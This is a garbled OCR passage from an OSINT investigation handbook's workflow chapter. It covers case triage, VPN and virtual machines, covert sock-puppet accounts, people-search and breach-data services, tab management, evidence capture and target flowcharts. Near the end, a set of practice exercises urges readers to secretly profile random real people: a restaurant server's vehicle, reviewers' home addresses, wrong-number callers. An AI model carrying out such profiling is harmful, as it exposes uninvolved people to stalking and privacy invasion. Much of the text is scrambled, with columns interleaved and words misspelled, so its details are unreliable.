- Google search [email protected] • Query [email protected] using custom email tools In your digital notebook, create a new section and title it logically based on the date of request, incident type, or case number if there is one. For example, "OSINT Request Octl3_2019” or "Robbery 19-486544". Any emails or other written correspondence received leading into the case should be copied into your digital notebook. Finally, before moving on, ask yourself if OSINT is the right tool for the job. I have made the mistake of investing hours into online searches, only to realize later that a two-minute phone call would have likely given me the same information. Do not make the mistake of overlooking traditional investigative resources. Would a phone call to a postal inspector identify the occupants of a residence quicker than an online search? The strongest investigators are ones who think outside the box while also using every tool in it • Check the status of your VPN on your host machine. If not already connected, join a geographical area close to where you believe the target is located. • Start VirtualBox and load your custom OSINT virtual machine. • If you are using a Windows-based digital notebook, such as OneNote, you will need to swatch back to your host environment (Windows) when adding content to that notebook. In the next chapter we will look at a Linux compatible notebook that has some of OneNote's desired functionality. Now that you have established a plan and a clear understanding of the mission goals, you need to prepare your workspace for the investigation. "Knolling" is the process of organizing your resources so they are ready to go and easily accessible once you start the actual work. Think of how a surgeon's instruments are sanitized and laid out in an organized fashion. The time spent preparing up front will result in a more efficient overall operation while also reducing the chances of unnecessary mishaps. If you followed the instructions and recommendations in previous chapters, you should already have a custom Linux VM. It should be patched and preloaded with your preferred OSINT applications. Additional recommended preparations prior to the search phase include the following. undercover investigators. This is not only a waste of time and focus, but can complicate the individual cases where they overlap. If nothing else, ask the person for whom you are doing the work if anyone else is working on the case. You would be surprised how often two branches of the same agency are unknowingly pursuing a common target. The triage stage is the appropriate time to begin your note-taking. I will discuss specific tools in the next chapter, but at its core you will need a paper scratch pad and digital notebook, such as Microsoft OneNote. A paper notepad allows for quickly noting key details without having to move out of your browser during searches. This is even more crucial if you are on a laptop or otherwise have limited screen real estate with which to work. Your digital note-taking application is for pasting content as you copy it from your browser. Keep in mind using Microsoft products allows them to collect user information, so make sure that this is within the operational security requirements of your organization. At the top of your legal pad, list out the details you are trying to find and any initial investigative steps. This does not need to include extreme details, but it establishes your plan. Closed-Source & Premium Data 464 Chapter 29 Begin rhe research phase of the proprietary data sources. This includes • Commercial aggregators such as Accurint (LexisNexis), TLO, Clear, or others. • Premium products such as BeenVerified, Intelius, Spokeo, Pipl, and WhitepagesPro. • Government and LE databases such as Department of Licensing, Criminal Records, Department of Corrections, and Agency Records Management Systems. Whereas using purely open-source tools typically requires visiting dozens of sites in order to find just a few leads, paid sendees often quickly provide a list of possible addresses, associates, and accounts. If you have sendees like LexisNexus or Clear available, use them early for easy additional leads on your target. These sendees obtain much of their data from credit histories and utilities. Therefore, they tend to be good sources for residential address history, land-line phone numbers, employers, roommates, and family members. They tend to work very poorly with email addresses, usernames, and social media accounts. You should now be ready with all your tools and note-taking resources, investigation by querying your target against any in-house, premium, or any of the following. Your knolling is complete. You have a virtual machine preloaded with the most useful OSINT tools, and you are on a secure and private connection. We are prepared to search quickly, collect pertinent content, store it logically, and track our progress within our notes. This is also when you should run any premium people-search services such as Pipl, Spokeo, or BeenVerified. These types of services range from S15-S3OO a month depending on the subscription tier, but tend to offer a much richer, immediate return on queries than their free counterparts. Although Pipl Pro formerly offered some of the best premium results, they are also one of the most expensive. Additionally, they have moved to a complex per-record pricing model. Spokeo is one of the cheapest at $15-520 a month depending on your plan, but they have a modest amount of data for a paid service and charge extra to make reports easily printable. BeenVerified allows you to run an unlimited number of fairly extensive reports for 553 quarterly and they are print friendly. However, they will push you to spend more money for "premium" data about your target. Many investigators kickstart the early stages of their open source investigations using one of these cheap premium aggregators, but • Once in your OSINT VM, run your browser by selecting it from your Dock bar on the left or from the application window which is accessed by clicking on the square-shaped set of nine dots at the bottom of the Dock. • If you have not already done so, log in to your covert social network accounts used for OSINT research. We will likely need to conduct searches on these platforms and pre-authendcating in this browser session will save us time later. • If you need to make new covert social media accounts for research, you should disconnect from your VPN prior to doing so. It should also be noted that running several queries on freshly made accounts is highly likely to result in security challenges and/or suspended accounts. Tty to always have a supply of semi-mature accounts available for time-sensitive investigations. • Open the custom OSINT tools which you built in previous chapters of this book. • Create a new folder in the shared directory of your VM and rename it to match your digital notebook including date, target name, or case number. This is where we will store any manually captured digital evidence such as saved images or pdf captures. 1 keep a directory in my Original VM that is prepopulatcd with folders titled to reflect my custom tools. This gives me an organized destination for anything I recover and saves me from having to repeat this step every time I open a new case. Figure 29.01 displays an example of this, and die digital templates download contains the same structure which can be copied if desired. • If you use a digital notebook that accepts the pasting of multi-media filetypes, you have the option of storing files within your digital notes. Figure 29.01: A logically structured case directory. Open-Source Research & Collection Methodology & Workflow 465 your known identifiers. corresponds to your known identifiers, everything you get from paid people search sites is available for free elsewhere (although with more time and effort). keep in mind considerably • In your VM, conduct a quick Google search on • Open your custom OS1NT tools and use the tool category that such as the email and search engine tools. Once you have exhausted your in-house and paid data resources, it is time to dive into your OS1NT tools and resources. This tends to be the most involved stage of research due to the large number of sites that you will check for your target's information. Tab management is critical in staying organized. If you have not already done so, add the OneTab (one-tab.com) extension to Chrome and Firefox within your VM. Any promising identifiers from your premium or government searches should be added to your notepad, and generated reports should be dropped into your digital notebook as pdfs. Photos can be copied and pasted into your digital notes or dropped into your designated director}' within the shared folder on your desktop. This reflects our workflow going forward. Any valuable page, image, or identifier is noted, and a corresponding pdf or image capture is placed either in our digital notebook or investigative folder. For those on the government or law enforcement side of the house, internal agency records systems, department of licensing requests, and criminal history queries can be very' powerful additions to your early’ digging. An advantage that government investigators have is that many’ of these systems will provide access to a photo of the target, which can be used to verify or rule out possible social media accounts. These records also typically’ include recent associates, phone numbers, and residential addresses. Even if the subject did not use their own address during a previous contact with government agents, diey’ likely used one where they can receive mail, such as a relative's house. Most people are not trained to think on their feet and will use familiar data when cornered with hard questions. full 466 Chapter 29 create even more branches, following online can help you categorize and isolate all leads, • Perform any additional queries on sites not included in your custom toolset. For example, a colleague may have very recently recommended a new email search site. If that resource provides good results, consider adding it to your custom toolset. At this point, you should be in your VM looking at several open tabs in your browser. These tabs represent the results from the Google and custom tools queries which you have executed. The rule going forward is to deal with each tab completely, and intentionally keep or discard it before moving on to the next. A common misstep is to start clicking on leads that look interesting prior to completely reviewing the page on which you are currently visiting. Therefore, tab discipline should be in the forefront of your mind as you parse through your first batch of search results. Consider the following. • Review the first tab of Google results, looking for anything that stands out as a likely valid lead on your target For any results that look promising, right-click die link and choose "Open link in new tab". • Continue to scroll through the first page of Google results and when you get to the image results, right­ click on it and choose "Open link in new tab". If Google does not include an "Images for..." section in the first page of results, you may need to select "Images" from the tabs at the top of the page. The image results are always worth reviewing as you can quickly scan the page for potential profile images or other photos of your target • Once you are satisfied that you have fully reviewed the first page of Google results and have opened any promising leads in their own tabs, you can move on to the next tab. • As you start to do more OS1NT work, small efficiencies compound to save a lot of time in the overall investigation. Learning keyboard commands for frequendy used browser actions will be very beneficial. In this case, you can press "Ctrl" + "tab" (Windows) or "command" + "tab" (Mac) to move to the next tab to the right. Holding down "Shift" with the previous key combinations will cycle through tabs in the opposite direction, from right to left. As you move through your tabbed results methodically, you may come upon a page of results which is a jackpot of links to potential target data. This is a good problem to have, but a problem nonetheless. The same rules apply, but with one additional recommendation, which is that any lead that warrants its own full set of queries should be opened in a new window rather than a new tab. Consider the following example. This OneNote digital notebook is logically structured to organize intelligence leads as they are uncovered. The notebook tide on the top left reflects the case number and name of the target organization. I should mention that this example was chosen arbitrarily, and the group depicted is not likely criminal in nature. I have tabbed sections for the target individual and the organization. I also have a tab which contains fresh copies of my This system of exhausting leads on the current page before moving on to other tabs is crucial in ensuring that you do not overlook potential intelligence or lose your way by moving too quickly from lead to lead. That is called "rabbit holing" and is the biggest pitfall with which new investigators inevitably struggle. You also need to be disciplined about closing any tabs that are false positives or otherwise present no fruitful results. This will help to control browser clutter and reduce the load on your workstation resources. • You have located a social media account containing several strong leads which require their own set of queries using Google and your custom OSINT tools. • The Twitter usernames need to be queried through the Twitter tools and the email addresses through the email tools. Think of each of these as a new path that needs to be followed independently. • Any strong leads should be represented in your notes. Write down any account identifiers on your legal pad, and for each create a new page in your digital notebook. Figure 29.02 displays the documentation in OneNote. • Much like a family tree forks into new branches which leads often presents new leads. Browser tabs and windows providing a sense of structure to your investigation. Tab Management Methodology & Workflow 467 • The Scratch Page is for quickly pasting links and reminders for items which I want to have quick access or revisit later. • The Request Details page is where I paste the details of the investigative request along with any other important details gleaned during triage. • The various Premium/Government Data resource pages contain pasted reports closed-source, in-house, and paid services. or snippets from Left-click and drag your mouse to highlight your set of URLs. Press "Ctrl” + "C" (Windows) or "command" + "C" (Mac) to copy the list. Move to your digital notebook, select the appropriate page, and press "Ctrl" + "V" (Windows) or "command" + "V" (Mac) to paste the list into your notes. Figure 29.04 displays this content within OneNote. The list of tabs is saved locally in your VM within your browser extension data, but you will want it in your notes for easy access. Click on "Export/lmport URLs" on the top right of the page. Figure 29.03 displays an example. The export page is missing titles, but each set is separated by a space and the URLs are in the same order as the lists on the OneTab management page. Consider the following steps. When you reach the last open tab in your current search, look back and make certain that any open tabs are pages that have useful data. Prior to moving on to a new window and path of inquiry', you should preserve your list of tabs. This is where your tab manager can be beneficial. OneTab's primary' purpose is its ability' to quickly collapse all tabs into an exportable list of URLs. These bookmarks can then be pasted into your notes or shared with a colleague who can import them into their own OneNote instance. Once you are finished working with any set of tabs, conduct the following. • Right-click anywhere in the window, select the blue OneTab icon, and click "Send all tabs to OneTab". • You will now be looking at the OneTab manager, which was explained in Chapter Three. The list of bookmarks for the tabs you just collapsed will be at the top of the list. • Click in front of the number of tabs to add a title, such as "Google Target Name". Logical naming is the cornerstone of staying organized and making your work searchable. Eventually this set of bookmarks will get pushed farther down the page as you add newer tab sets. To find it again, press "Ctrl" + "F" (Windows) or "command" + "F" (Mac) to conduct a keyword search for the custom title you added. Although OneTab is the tab manager I recommend for most people, if you require online sync or advanced features, some other tab extensions are Toby, Tabs-Outliner, Workona, and Graphitabs. As discussed earlier in this book, extensions always come with a security cost, so use them sparingly and only when the added functionality is mission critical. OS1NT templates should I need them. The visible section represents a "real-name" investigation into my primary’ target. On the right, I have added pages that reflect each strong lead, which was created for each account identifier. This ensures that every' new investigative path I open has a place to paste relevant data, while also making it easier to visualize my leads as a whole. The following explains some of the options present in Figure 29.02. Strong leads are given a new browser window and their own page in my digital notebook. This ensures that every new investigative path 1 open has a place to paste relevant data while also making it easier to visualize my leads as a whole. The list of pages can also be used as a check or "to-do" list. Once you have fully exhausted that lead, you can add a + symbol to the title to indicate that it is complete, as seen in my example. Context Menu Queries 0 Kbl-D Figure 29.02: Structuring digital notes in OneNote. VOneTab Total 370 tabs Google: Kirby Foster 7 tabs Figure 29.03: The OneTab management page. 468 Chapter 29 IfalQse^X^OCFIatEa^.j Q hrtry foster flat earth Facebook • Google Search G 'farby^rockeoandrollerzxom' - Google Search O RockerzAndHoller’ (SfrockerzandroUerz) | instagram photos, videos, highlights and stories El (3} Kirby Foster-About O 'RockerzNRollerz' - Google Search t? Rockerz Z. Rollerz (GRoclerjhRol'er?) / Twaer O RockerzAndRollerz {^rcckercandrol erzj | nstagram photos, videos, highlights and stories □ring all tabs into OneTab Share all as vreb page Export / Import URLs Options Newt Features / Help About / Feedback • faMgle 'K.b, CirtSe** • Rcs'J U'-^- - "I tfby • w.vwJl,-:' in>; .^.-iCljaccxn Scratch Page t-.-ii osw4 ;;u WindowT’mt/Secur Rcsidcntial/Con (702)755-5515' If 1 highlight a phrase on a page, such as "tom jones" and right-click diat phrase, 1 now have a Dehashed option in my ContextSearch menu. Clicking on that Dehashed search will provide immediate search results. Context­ based search capabilities complement, but do not replace your custom toolset. They offer speed and convenience, but lack the full level of control and customizability that you have with your own tools. to the existing list of popular search -y. Queries are customized via the options menu by adding structured URLs engines. To add your own custom search strings, conduct die following. Creatro t CI/6/2019. 3U.C5 FM Restore aS Delete a ■ Snare as web page ttxrr tri!NIPrcfJrTriT^-< ' +• Speed and efficiency are key if you are conducting OSINT at die professional level. Context search extensions, such as ContextSearch (gidiub.com/ssborbis/ContextSearch-web-ext), allow you to query a keyword or link just by right-clicking on it. These extensions come with a predefined set of search options, such as Google reverse image, and allow you to also add your own custom queries. • Left-click on the "ContextSearch" extension in your toolbar and then click the gear icon to go to settings. • Select the "Search Engines" tab and click the "Add" button. • Type in a name for your new search and click "OK". • In the template field, paste die URL query for the search you want to execute. These can be some of the same queries that you have added to your custom OSINT toolset. At the end of the URL add "{SEARCHTERMS}". jrityFUm/Vinyl/Design Jcnmcrcial/Automotive SLatVcgas > YouTube: "Rockerz And Rollerz" SRockerzAndRoflerz Kirby Foster] Born an November 5,1937 T T» f.rr C'T'.A: V Figure 29.04: An OSINT case template in OncNote. Capture and Collection Manual Capture an Methodology & Workflow 469 JI c.i'eig-xxxxFi.iiFanto'Si ■ | h Google: "Kirby Foster1' femdiy. Oclolie* I jni« > 17 7M If you followed the prior steps for tab management, these subfolders should match up with any strong leads that you have opened in their own windows. At die conclusion of your investigation, the digital evidence is nicely organized by its corresponding identifier and tools. You should now have a reliable, repeatable process for working through your OSINT queries and capturing results in your paper and digital notes. The final piece of the research phase is capture and collection. This is made up of the steps involved in preserving content for evidentiary or reporting purposes. There are three approaches to collection depending on the tools you have available. Manual capture includes any technique that is user-initiated and results in capturing a single file or multiple files within a single page. These are often browser-based tools such as JavaScript or extensions. Here are the steps to integrating manual capture into your workflow. • Create a case folder in your VM shared directory named logically for your case. ® Open that case folder and create a new folder matching the corresponding category from your toolset. If 1 am working on an email address this will be "Email Addresses". ® Open that director)’ and create a folder tided appropriately for the identifier you are querying. If email address is the target, the folder may be tided similar to "[email protected]". • Repeat this for any other strong leads such as Twitter usernames, names, domains, etc. 9 Now you have a logically structured set of folders to store any saved digital content. • As you work through your set of tabs specifically for that lead, capture any pages that support your findings and save those to this folder. • Any time you save an image or video related to that lead, also save it to this director)’ using any of the tools referenced earlier in the book. • Any time you save a specific image or video, you should also save a screen capture of the page from where you obtained it. This shows visually how diat image or video was laid out on the page. The capture of the entire page is saved to the same folder where you placed the image or video it references. Exported Tabs.fQcLA2Q.131 https^/wwF.oorJe.com/scarch?nnwvindov/-.lRibs.<idrjYRq kirbyilO'-tf-nJIjt H.anfH hircbop.kRspell 1 &sa.-XRved-0.iliUKEv?iTvVPHwlilAhXAFTQIllVkiCwEQDQguKAA&biw-;1920Rb|l^l057 | Lklzy foster flat eanh f.io'book - Google Search httov/Av\wv.nooplexom/searrh?ei nOnOXtKHOObY5nKh?KlloAQRq %22farby%<10rpckerz.in_dip!L-?rLr-nrn«?2 jkirhv%40rocker7.7ndroilerr.com%27Rgs l-psv-ab.l2...0-0..7612...0.0..0.0.0.O..,...f!WS- wi?.Lx!nOQYn7IFRvpd-Oat>UKFwrv98iQlPfiAliVmt>VltKHST$CBOQ4dlM>CAo I "kirby@>rockerzandrollerz.com" - Google Search hjtp>7/-.yiwv I BotkeuAudBelku (ffiockeiwifimlku) I Instagram photos, videos, highlights and stories Mtp_s7ZwwyLfacebookxom/BnZP!antingIr^ I <3) Kirby Foster - About http<:/A-/.w/r.<x7n!ncomMarrh?nevAvin_dow-lRs.7-Xfiq-J.%.22Hpcker>RRplLnr7%??Rtbm-ischRsptjrcp-lntRved- ZahUKEwjlr IXxoilAhWH. J4KHbXCByQQsARG0AjUFAFRbiw--2O48&bihelOa9 | "BockeuURollcrz' - Google Search Passive Capture Scripted Capture system that was described for Analysis 470 Chapter 29 Scripted capture is made up of the manually activated programs that collect or "mine" digital content on our behalf. A good example of this is using Instaloader to rip all of the photos from a specified Instagram account These types of tools were covered earlier in the book, and there are only a few things to keep in mind on how they fit in our workflow, as explained below. • For scripts that prompt you for a save location, you should use the same manual capture: a series of logical nested folders. • Some scripts wall store collected data in a default directory, such as Downloads or Documents. In these cases, complete the collection and then manually move the files over to your case director}7. When reasonable, move rather than copy files to limit clutter and abandoned case data. • Add a line to your notes indicating which script was used, what it was directed to collect, and the date and time. Unlike Hunchly, most of these tools do not annotate or generate a log of their actions. • If you are collecting digital evidence for use in court, you should consider also conducting a manual capture of any crucial items. The problem with scripts is that you may not be able to explain how they work in court. A manual save is easy to explain confidendy to a jury when the time comes to testify. The primary’ goals of link analysis is to understand how information is connected, and a way to visually represent these connections. These can be people, locations, websites, phone numbers, or any other identifiers you see associated with online accounts. Figure 29.05 displays a link analysis showing how an email address was linked to a social media profile. You will see specific examples of link analysis tools in the following chapter. Not all cases require a link chart, but you should consider its value when faced with complex organizations or anytime your case might benefit from a visualization of how entities or accounts are connected. Whether you are working your case independendy or have the support of a dedicated team, the research phase will include some level of multimedia analysis. This is the process of examining the visual and metadata characteristics of recovered images and video. Visual examination is exactly what it sounds like. View each image or clip at the highest resolution possible and methodically examine media for any intelligence that was unintentionally included in the frame. You are looking for things like business signage in the background of your target's profile photo. Identify anything that narrows down who or where they might be, and include this in your case notes. This process can be very time consuming, but it remains one of the best methods of locating an elusive target who has otherwise covered their online tracks. • Create a new Hunchly case named the same as your investigative notebook and your digital evidence director}7. • Click the Hunchly extension icon on the top right of your Chrome browser and make sure it is set to capture and that it is set to the correct case name. • Proceed with your research in Chrome as described in the previous sections. Any time you find an image that is key to your case, right-click it, select the Hunchly entry on the context menu, and choose "Tag Image". Provide a logical caption and click "Save". • Hunchly can later generate a forensically sound report containing all tagged images. The best example of a passive capture tool is Hunchly. It records pages loaded in Chrome at the source code level, as well as any images on those pages. It is providing a wide safety’ net, but you should be more intentional in taking advantage of its capture capabilities. The following steps assume you have Hunchly and Chrome installed in your custom OSINT VAI. If you are not a Hunchly user, you may skip this section and move on to scripted capture. Case #19-XXXX CD Figure 29.05: A link analysis example with Draw.io. Submission and Cleanup 20 min vs 20 days Methodology & Workflow 471 https;/Avww youtube.com/channel /UCBhdxpBXOJumQBqsgBzpcSjJ/ It is not unusual to move from one investigation to another very quickly. Just up our research, we also need to appropriately close out our v—v-r------- following may be beneficial. Public Google Owe doc account referencing Reddit post • Triage: Verbally clarify the known identifiers and expected intelligence, such as: "User DlckTraC on 4chan is threatening to kill himself in a post". We want to know who he really is, where he lives, and MrKirDyFoster@gmai/.com Once your research is complete, you will need to prepare your report. Several of the steps in this workflow were in preparation for the reporting phase. If you have followed along diligently, your efforts -will be rewarded by painless report creation. Chapter Thirty is dedicated to taking all of the intelligence that you have collected and using it to build a professional case report. Some major case investigations take place over a series of days or even months, while critical incidents may require you to give a threat assessment in 20-30 minutes. Your workflow will remain the same for each situation, but the time spent on each step will obviously be reduced. When you reduce the "time-to-solve" drastically, there will be compromises made to the quality of work and security. A common scenario where I use a streamlined workflow is a threat assessment, such as a person threatening suicide in an online chatroom. Consider the following threat assessment steps and Case Workflow chart on the following page. * ” ’ t as we took time to properly set work before moving on to the next task. The • Transfer any handwritten notes to either your digital notes or final report. If you prefer, you can scan the notes as a pdf using your scan enabled printer or scanning straight to OneNote. Any paper notes or printouts are then either filed in a secure location and in compliance with your agency’s policies or they are shredded. • Do not leave case assets scattered about or they will get mixed in with future case work. Your investigative directories should be archived in accordance with your agency's evidence submission and retention policies. Some teams retain copies of these "working files" on network attached storage or optical discs for 3-6 months. If the subject should resurface, as criminals tend to do, having historical notes from previous incidents can be a huge time saver. • If appropriate, export a copy of the VM that you used for the case. Then return to a clean snapshot or clone as described in earlier sections of this book. Consider preparing fresh accounts for the next investigation and find replacements for broken tools. The subjects YouTube account was found to be connected with the Reddit user in question vta a common Googlo account contacting that jump Target Flowcharts "Is there a standard process or workflow for each type of OSINT target?" Email, Username, Real Name, 472 Chapter 29 Each However, I have conducted numerous OSINT training programs receive one question at ever}’ event over the past few years. Regardless of the audience, I Each example will try to show the standard path that I would take when provided the chosen type of data, such as an email address. The goal with my investigations is to get to the next topic. For example, if I am given an email address, my goal is to find any usernames and real names. When I have a username, my goal is to find any social networks and verify an email address. When I have a real name, the goal is to find email addresses, usernames, and a telephone number. When I have a telephone number, my goal is to verify the name and identify a physical address and relatives. When 1 have a domain name, my goal is to locate a real name and address. The cycle continues after each new piece of information is discovered. example will identify' only the services used. It will not display the actual address to navigate to the website, every method listed within these charts is explained throughout this book. These documents do not contain every' avenue that may provide good information. They only display the most beneficial resources at the My short answer was always "no". I had always looked at each investigation as unique. The type of investigation dictated the avenues and routes that would lead me to valuable intelligence. There was no cheat-sheet that could be used for every' scenario. While I still believe there is no complete template-based solution for this type of work, 1 now admit that some standards can be developed. This section will display my attempt at creating workflows that can quickly assist with direction and guidance when you possess a specific piece of information. These documents are presented in six views based on the information being searched. Each example should be considered when you are researching the chosen topic. The categories are Telephone Number, Domain Name, and Location. whether he is likely to carry’ out the threat. Identify’ if there is a non-OSINT solution such as a human resource. • Knoll Your Tools: Grab your legal pad and a pen. Ideally you will have a fresh instance of your OSINT VM ready to use. If you do not have this prepared ahead of time, use "utility" social media accounts. Utility social media accounts are those on hand for non-criminal assessments where speed is essential and cross-contamination is a reasonable concession. Using fresh accounts would be preferable, but that just isn't always possible. • Collaboration: If you are collaborating with a team on a platform such as OneNote, create a page for each user to paste key findings so that you don't confuse one another. Keep in mind that OneNote in a browser syncs almost instantly, whereas several users on OneNote desktop will have syncing issues. Assign one person to keep track of everyone's progress and build out the big picture. • Premium/Govcmment Resources: Run your target through any commercial aggregators and government databases. These checks should go very’ quickly and return low hanging fruit. • OSINT: Begin with Google searches such as: site:4chan.org "username". Then query’ your target's known identifiers through your custom OSINT tools. • Only open very’ promising links in new tabs and visually scan each page quickly’ for words or images that jump out at you. The images results can be especially useful on time sensitive assessments because your brain can process them exponentially faster than text. • For anything useful, make a note on your legal pad and leave the corresponding tab open. • Be prepared to give a briefing at the deadline, even if it is just a situational report similar to "we've located and preserved the original posting, there's a history’ of similar suicidal threats from that user, but we do not know who or where he/she is yet". • Take care of any additional collection, analysis, and reporting once the crisis has passed. At that point you will fall back into the normal workflow and documentation steps. Methodology & Workflow 473 L Email Address: lucidchart.com/invitations/accept/5282ad5a-b0dc-4442-a4a5-4a440a00dd05 Username: lucidchart.com/invitations/accept/5282ad70-58dc-4546-8758-0a460a00c875 Real Name: Iucidchart.com/invitations/accept/5282ad8b-c4d0-4db3-98f2-25d00a00c875 Telephone: lucidchart.com/invitations/accept/5282ad9a-64a4-4435-9073-3ce80a00c875 Domain Name: lucidchart.com/invitations/accept/5282acc9-f324-43b2-af40-04c00a00c875 Location: Iucidchart.com/invitations/accept/9d446294-580e-49ba-a88f-2437cc392b6f Many readers have requested practical exercises in order to test their 0S1NT skill. I agree that this would be helpful, but maintaining active and accurate online demonstrations with live data can be overwhelming. Instead, 1 encourage you to test your skills with real data, unknowing to the target. Consider the following scenarios, and use the flowcharts here as a guide. Zillow: Pick a random home and find all info about the previous owners. Wrong Number (incoming): Reverse-search it, text them their details. Wanted Criminals: Locate any significant others’ online profiles with photos. Waiter/Waitress: Research your server from dinner last night and identify their vehicle. AirBnB; Locate all details about a host (owner) and email them directly. Radio: Pick a morning "Happy Birthday" target, obtain full DOB and relatives' comments online. Reviews: Find 5 people that have patronized a local business and locate their home addresses. Game Show Contestant: Identify full address, phone number, photos, and relatives. Newspaper: Choose a person quoted in today's newspaper and identify’ their social networks. News: When a local Facebook comment is cited, explore the hidden data about the person. Library: Locate an employee's Amazon wash list and buy them the book he or she wants (creepy). time of this writing. Think of them as L of your queries can lead you to more places than first priorities. This list could grow for many pages. Overall, there are endless targets available that provide the best practice possible for exercising these techniques. This practice will increase the confidence in your research during an actual investigation. The hard part is not disclosing what you find to them. While you may think they will be impressed with your new skills, they won't. Trust me... I believe that all of these will always be a work in progress. As everything else in OS1NT changes, these will too. I will try’ to keep them updated on the website. If you have suggestions, I am honored to receive and apply them. If you would like to create better formulas, I encourage you to get creative. I used the sendee LucidChart (lucidchart.com) to create each of these. I also made all of these public within the LucidChart website so that you can take advantage of my starting point. The following links will connect you to a live environment that will allow you to replicate die work in seconds. If you would like a similar sendee without the requirement of a registered account, please consider MindMup (mindmup.com). the obvious steps to take when you receive a target to search. The results i can display on a single page in this book. These arc just the Consider the Email flowchart presented in two pages from now. The written translation of this would be to take the email address and search it within the TruMail email validation tool. Next, conduct searches of the address within quotation marks on the main search engines. After that, check the compromised databases and all options on the IntelTechniques Email Addresses Tool. These options are likely to lead to a presence on social networks. Following these to the bottom of the chart encourages you to conduct the email assumptions previously mentioned, which you can verify and start over with the newly acquired information. You would then continue through the remainder of the chart. If you find the following information beneficial, you are welcome to download digital copies at inteltechniques.com/osintbook9/flowcharts.zip. I also recommend visiting osintframework.com. While it is not a traditional workflow, it does provide numerous online resources within an interactive tree. Many of the websites mentioned here are replicated on osintframcwork.com, which was created by Justin Nordine. Deadline? Make A Plan ] Triage OSINT VM Prepare Tools OSINT Toolset ] VPN V Collection OSINT Extensions Draw.lo Hunchly OSINTVM Scripts Event Viewpoint Analysis Time Graphics Digital Notes Face-Sheet Narrative Reporting Analysis Appendix Archive Notes Cleanup/Archiving a d lntelTechniques.com OSNT Workflow Chart: Case Workflow 474 Chapter 29 Investigative Request Received Closed Source Data Queries Are The Provided Identifiers Accurate? List Out Your First Investigative Steps Better Non-OSINT Solutions? OSINT: Query All Known Identifiers Gov Data-Bases: DOL. RMS, DOC, N1CB regators: \ccurint Paper Notepad Standard Notes OneNote CherryTree Archive VM Revert To Clean VM Snapshot Premium Aggre TLO, Clear. Ac I ~ Generated Leads Context Menu Search Paper <£ Digital Notebooks Premium Aggregators: TLO. Clear, Accurint Digital Media/Evidence Submitted On Optical Disc or Other Digital Storage Promising Lead: Open in New Tab Strong Lead: Open in New Window Page With No Hits: Close The Tab Done With a Set of Tabs: Click OneTab Export OneTab Bookmarks to Notes -I Google Operators I I Custom OSINT Toolset | Define Questions & Clarify Mission Expectations > Username Email Address People Data Labs > Employer Document Search Paste Search Paste Archives Google Yandex Bing Websites / Blogs Username > Email Tool ◄ Verify Address Gmail, Yahoo, Hotmail, etc. Username Assumptions Social Networks > lntelTechniques.com OSINT Workflow Chart: Email Methodology & Workflow 475 Search Engines Search Engines Verify Address (Trumail.io) IntelTechniques Username ______ Search Tool______ Remove Domain and Search Username: [email protected] Verify Address (Trumail.io) Email Assumptions (Work) Email Assumptions (Personal) Compromised Passwords Compromised Databases HIBP Dehashed Spycloud CitODay LeakedSource Pastebin Misc Breaches I PSBDMP InteIX Compromised Databases IntelTechniques Email Search Tool EmailRep That's Them Spytox Newsgroups DomainData OCCRP Analyze ID Whoxy Gravatar Social Networks I Real Name IntelTechniques \ Paste Tool ► > Username * Email Assumptions IntelTechniques Username Tool Email Address Manual Attempts 'V Interests I HIBP Dehashed Namevine LeakedSource Facebook LeakPeek PSBDMP Interests TikTok YouTube Wayback Machine Google Cache Yandex Cache Bing Cache Screenshot History Social Networks lntelTechniques.com OSINT Workflow Chart: Username 476 Chapter 29 IntelTechniques Domain Tool Compromised Databases Potential Email Addresses IntelTechniques Real Name Tool [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] Instagram Reddit CheckUserName SocialSearcher WhatsMyName Skype Gravatar InstagramBio Google Bing Yandex n Snapchat Twitter Username Search Sites Knowem UserSearch Twitter Real Name Search Engines User Name Bing Yandex Photos Videos Posts Resumes Telephone # Username [ Interests IntelTechniques Data Breaches Tool lntelTechniques.com OSINT Workflow Chart: Real Name Methodology & Workflow 477 Google IntelTechniques People Search Tool t t * Social Networks | TruePeople j FastPeople j Nuwber j XLEK FamilyTreeNow Intelius Radaris CyberBackqrnd Spytox SearchPeople . JohnDoe Spokeo AdvBackqround Zabasearch J SearchPeonle j "WhitePages I IntelTechniques Twitter Tool Twitter Posts I Address t__ Voter Records User Number r IntelTechniques Facebook Tool f Comments | FacebookI f ------------, | Facebook Profile Telephone # > Old Phonebook Interests Search Engines Real Name Username Find "Friends" Social Networks Google Custom Relatives Websites Addresses Businesses ] lntelTechniques.com OSINT Workflow Chart: Telephone # 478 Chapter 29 Calls.ai TrueCaller Dehashed LeakPeek > Compromised Databases Google Bing Yandex EveryoneAPI BulkVS Twilio CallerlDService Telnyx PeopleDataLabs Reverse Caller ID APIs Android Emulator v ; Contacts IntelTechniques Number Search Tool I ~ 411 800 Notes AdvBackground AmericaPhone Callersmart FastPeople InfoTracer John Doe Nuwber PeopleSearch Phone Owner ReverseLookup SearchPeople Spytox Sync.me ThatsThem TruePeople SearchPeople WhitePages Live Website Domain Name Yandex Archive.is site: Search Alexa Whoisology Who.is DomainData ViewDNS Whois Real Name < WhoisArchives Metadata Who.is History > Email Address < ScreenCaps Documents Sub Domains CarbonDating IP Address DomainlQ Backlinks Archives Pentest Tools SharedCount < DNSDumpster Social Networks Robots.txt App: Metagoofil Usernames lntelTechniques.com OSINT Workflow Chart: Domain Methodology & Workflow 479 Wayback Machine Dehashed Phonebook.cz InteIX LeakPeek V Google t Bing I Cached AnalyzelD SpyOnWeb NerdyData New Domains Interests I t SubdomainFinder Hidden Pages IntelTechniques Domain Search Tool Data Breaches ------ □ I Whoxy | Analytics SimilarWeb IntelTechniques Location Tool > Location Map Box < Zoom Earth Yandex Maps Descartes > Google Maps > Bing Maps < > Mapillary Open Street Cams > That's Them Snapchat Map Username Telephone # GPS Spoofing Android Emulator > Social Networks < lntelTechniques.com OSINT Workflow Chart: Location 480 Chapter 29 V 1 E W S A T E L L I T E S T R E E T FastPeople AdvBackground Physical Address Search Engines Social Networks Mobile Apps Username GPS Coordinates t New Locations Zillow / Redfin F Interior Images - Real Name GPS Coordinates F , LandViewer TruePeople Nuwber Google Earth App I Historic Satellite View j Investigative Note-Taking my Standard Notes (standardnotes.org) Extortion - Threats Seaidi Option* D«:e Added Case #233476 Figure 30.01: A Standard Notes application. OneNote (onenote.com/download) Documentation & Reporting 481 o 5 Ch a pt e r Th ir t y Do c u me n t a t io n &. Re po r t in g Views All notes Archived Trash Case Notes Rob„ Extortion - Thre... Xer-srM tTeirte Scratch Pad Oct notes Aednetdoj Get 23.2013. £57 PM Subject 